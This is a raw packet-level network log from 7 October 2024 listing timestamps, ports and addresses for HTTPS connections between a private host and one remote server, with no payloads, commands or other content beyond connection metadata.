Oct 7, 2024 18:01:49.839425087 CEST	443	60484	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.896864891 CEST	443	60480	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.896887064 CEST	443	60480	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.896990061 CEST	443	60480	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.897083998 CEST	60480	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.897377014 CEST	60480	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.897386074 CEST	443	60480	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.897397041 CEST	60480	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.897401094 CEST	443	60480	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.900579929 CEST	60485	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.900619030 CEST	443	60485	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.900682926 CEST	60485	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.900825977 CEST	60485	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.900846004 CEST	443	60485	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.117046118 CEST	443	60481	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.117736101 CEST	60481	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.117748022 CEST	443	60481	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.118170023 CEST	60481	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.118175983 CEST	443	60481	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.221913099 CEST	443	60481	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.221962929 CEST	443	60481	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.222070932 CEST	60481	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.222081900 CEST	443	60481	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.222212076 CEST	60481	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.222304106 CEST	60481	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.222337008 CEST	443	60481	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.222364902 CEST	60481	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.222381115 CEST	443	60481	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.224987030 CEST	60486	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.225023985 CEST	443	60486	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.225095034 CEST	60486	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.225244999 CEST	60486	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.225260973 CEST	443	60486	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.491251945 CEST	443	60482	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.491723061 CEST	60482	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.491769075 CEST	443	60482	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.492168903 CEST	60482	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.492178917 CEST	443	60482	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.604592085 CEST	443	60485	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.608978987 CEST	443	60484	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.621319056 CEST	443	60482	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.621349096 CEST	443	60482	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.621443033 CEST	60482	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.621463060 CEST	443	60482	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.621483088 CEST	443	60482	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.621530056 CEST	60482	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.631481886 CEST	443	60483	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.634164095 CEST	60485	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.634227991 CEST	443	60485	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.634587049 CEST	60485	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.634617090 CEST	443	60485	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.634943962 CEST	60483	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.634957075 CEST	443	60483	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.635270119 CEST	60483	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.635274887 CEST	443	60483	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.662697077 CEST	60484	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.662724972 CEST	443	60484	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.663168907 CEST	60484	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.663175106 CEST	443	60484	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.664009094 CEST	60482	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.664026976 CEST	443	60482	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.664058924 CEST	60482	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.664067030 CEST	443	60482	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.667043924 CEST	60487	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.667072058 CEST	443	60487	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.667143106 CEST	60487	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.667253017 CEST	60487	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.667265892 CEST	443	60487	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.735419035 CEST	443	60485	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.735502958 CEST	443	60485	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.735594034 CEST	60485	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.735845089 CEST	60485	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.735877991 CEST	443	60485	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.735902071 CEST	60485	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.735909939 CEST	443	60485	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.744788885 CEST	443	60483	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.744879007 CEST	443	60483	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.744940042 CEST	60483	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.748080015 CEST	60483	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.748090982 CEST	443	60483	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.748102903 CEST	60483	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.748107910 CEST	443	60483	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.762770891 CEST	443	60484	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.762836933 CEST	443	60484	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.762902975 CEST	60484	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.771009922 CEST	60488	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.771122932 CEST	443	60488	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.771223068 CEST	60488	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.779108047 CEST	60489	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.779145956 CEST	443	60489	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.779263973 CEST	60489	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.783101082 CEST	60484	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.783116102 CEST	443	60484	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.783127069 CEST	60484	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.783132076 CEST	443	60484	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.790983915 CEST	60488	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.791027069 CEST	443	60488	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.791157007 CEST	60489	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.791172028 CEST	443	60489	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.805763960 CEST	60490	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.805773973 CEST	443	60490	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.805850983 CEST	60490	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.807403088 CEST	60490	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.807410002 CEST	443	60490	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.960494041 CEST	443	60486	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.986881971 CEST	60486	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.986905098 CEST	443	60486	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:50.994188070 CEST	60486	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:50.994194031 CEST	443	60486	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.114275932 CEST	443	60486	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.114342928 CEST	443	60486	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.114425898 CEST	60486	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.216985941 CEST	60486	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.217017889 CEST	443	60486	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.217034101 CEST	60486	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.217044115 CEST	443	60486	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.224936008 CEST	60491	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.224977016 CEST	443	60491	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.225038052 CEST	60491	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.225222111 CEST	60491	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.225235939 CEST	443	60491	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.302273989 CEST	443	60487	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.302727938 CEST	60487	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.302747011 CEST	443	60487	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.303181887 CEST	60487	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.303188086 CEST	443	60487	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.409584999 CEST	443	60487	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.409646988 CEST	443	60487	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.409698963 CEST	60487	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.409718037 CEST	443	60487	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.409756899 CEST	60487	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.409801006 CEST	443	60487	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.409847975 CEST	60487	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.409955978 CEST	60487	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.409969091 CEST	443	60487	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.409977913 CEST	60487	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.409982920 CEST	443	60487	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.413172007 CEST	60492	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.413229942 CEST	443	60492	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.413290977 CEST	60492	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.413429022 CEST	60492	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.413449049 CEST	443	60492	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.439918995 CEST	443	60488	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.440360069 CEST	60488	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.440375090 CEST	443	60488	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.440896034 CEST	60488	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.440901041 CEST	443	60488	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.444386959 CEST	443	60489	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.444838047 CEST	60489	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.444855928 CEST	443	60489	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.447024107 CEST	60489	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.447029114 CEST	443	60489	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.468743086 CEST	443	60490	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.469471931 CEST	60490	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.469471931 CEST	60490	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.469484091 CEST	443	60490	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.469491005 CEST	443	60490	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.550704956 CEST	443	60488	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.550726891 CEST	443	60488	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.550849915 CEST	60488	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.550898075 CEST	443	60488	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.551155090 CEST	60488	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.551182032 CEST	443	60488	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.551208019 CEST	60488	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.551232100 CEST	443	60488	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.551270962 CEST	443	60488	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.553920031 CEST	60493	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.553955078 CEST	443	60493	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.554043055 CEST	60493	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.554183006 CEST	60493	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.554195881 CEST	443	60493	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.564680099 CEST	443	60489	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.564752102 CEST	443	60489	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.564795971 CEST	443	60489	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.564878941 CEST	60489	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.564878941 CEST	60489	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.564889908 CEST	443	60489	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.564937115 CEST	60489	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.564937115 CEST	60489	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.580286980 CEST	443	60490	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.580341101 CEST	443	60490	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.580456972 CEST	443	60490	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.580499887 CEST	60490	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.580574989 CEST	60490	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.580805063 CEST	60490	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.580805063 CEST	60490	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.580817938 CEST	443	60490	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.580825090 CEST	443	60490	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.583724976 CEST	60494	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.583755016 CEST	443	60494	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.583838940 CEST	60494	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.584017992 CEST	60494	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.584029913 CEST	443	60494	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.639874935 CEST	443	60489	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.639975071 CEST	443	60489	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.640012026 CEST	60489	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.640180111 CEST	60489	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.640180111 CEST	60489	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.640180111 CEST	60489	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.642992020 CEST	60495	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.643042088 CEST	443	60495	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.643117905 CEST	60495	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.643253088 CEST	60495	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.643270016 CEST	443	60495	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.888063908 CEST	443	60491	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.888550997 CEST	60491	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.888564110 CEST	443	60491	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.889020920 CEST	60491	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.889025927 CEST	443	60491	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:51.945801020 CEST	60489	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:51.945827007 CEST	443	60489	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.013570070 CEST	443	60491	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.013586998 CEST	443	60491	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.013611078 CEST	443	60491	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.013854980 CEST	60491	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.013894081 CEST	443	60491	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.013950109 CEST	60491	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.041858912 CEST	443	60492	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.042399883 CEST	60492	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.042423964 CEST	443	60492	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.042869091 CEST	60492	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.042876005 CEST	443	60492	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.117002010 CEST	443	60491	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.117038965 CEST	443	60491	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.117091894 CEST	443	60491	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.117255926 CEST	60491	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.117255926 CEST	60491	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.117372036 CEST	60491	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.117403984 CEST	443	60491	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.117419958 CEST	60491	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.117429018 CEST	443	60491	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.120508909 CEST	60496	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.120557070 CEST	443	60496	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.120652914 CEST	60496	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.120816946 CEST	60496	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.120832920 CEST	443	60496	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.131367922 CEST	443	60494	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.131767988 CEST	60494	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.131784916 CEST	443	60494	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.132194042 CEST	60494	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.132199049 CEST	443	60494	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.145762920 CEST	443	60492	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.145803928 CEST	443	60492	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.146029949 CEST	60492	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.146064997 CEST	443	60492	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.146126986 CEST	443	60492	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.146143913 CEST	60492	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.146219969 CEST	60492	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.146306992 CEST	60492	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.146328926 CEST	443	60492	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.146363020 CEST	60492	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.146370888 CEST	443	60492	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.148879051 CEST	60497	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.148899078 CEST	443	60497	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.148976088 CEST	60497	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.149168015 CEST	60497	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.149178028 CEST	443	60497	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.207463026 CEST	443	60493	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.208162069 CEST	60493	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.208174944 CEST	443	60493	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.208759069 CEST	60493	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.208764076 CEST	443	60493	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.235558033 CEST	443	60494	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.235702038 CEST	443	60494	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.235830069 CEST	60494	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.235855103 CEST	60494	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.235863924 CEST	443	60494	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.235873938 CEST	60494	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.235877037 CEST	443	60494	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.238605976 CEST	60498	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.238624096 CEST	443	60498	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.238693953 CEST	60498	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.238810062 CEST	60498	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.238818884 CEST	443	60498	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.292730093 CEST	443	60495	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.293536901 CEST	60495	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.293579102 CEST	443	60495	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.294205904 CEST	60495	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.294214964 CEST	443	60495	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.316687107 CEST	443	60493	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.316701889 CEST	443	60493	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.316801071 CEST	60493	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.316814899 CEST	443	60493	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.316945076 CEST	443	60493	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.317007065 CEST	60493	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.317059994 CEST	60493	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.317069054 CEST	443	60493	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.317100048 CEST	60493	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.317105055 CEST	443	60493	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.319765091 CEST	60499	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.319818020 CEST	443	60499	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.319885015 CEST	60499	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.320014000 CEST	60499	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.320034981 CEST	443	60499	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.401526928 CEST	443	60495	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.401623011 CEST	443	60495	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.401726007 CEST	60495	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.401896954 CEST	60495	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.401916981 CEST	443	60495	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.401936054 CEST	60495	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.401942968 CEST	443	60495	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.405563116 CEST	60500	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.405616045 CEST	443	60500	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.405699968 CEST	60500	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.405946970 CEST	60500	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.405978918 CEST	443	60500	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.774478912 CEST	443	60496	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.775147915 CEST	60496	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.775175095 CEST	443	60496	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.775880098 CEST	60496	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.775887966 CEST	443	60496	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.792581081 CEST	443	60497	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.793261051 CEST	60497	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.793272972 CEST	443	60497	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.793838978 CEST	60497	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.793844938 CEST	443	60497	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.873166084 CEST	443	60498	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.873770952 CEST	60498	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.873781919 CEST	443	60498	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.874347925 CEST	60498	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.874352932 CEST	443	60498	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.896898985 CEST	443	60496	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.897372961 CEST	443	60496	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.897485971 CEST	60496	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.897550106 CEST	60496	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.897578001 CEST	443	60496	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.897593021 CEST	60496	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.897602081 CEST	443	60496	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.901070118 CEST	60501	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.901113033 CEST	443	60501	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.901215076 CEST	60501	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.901411057 CEST	60501	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.901422024 CEST	443	60501	13.107.253.45	192.168.2.4
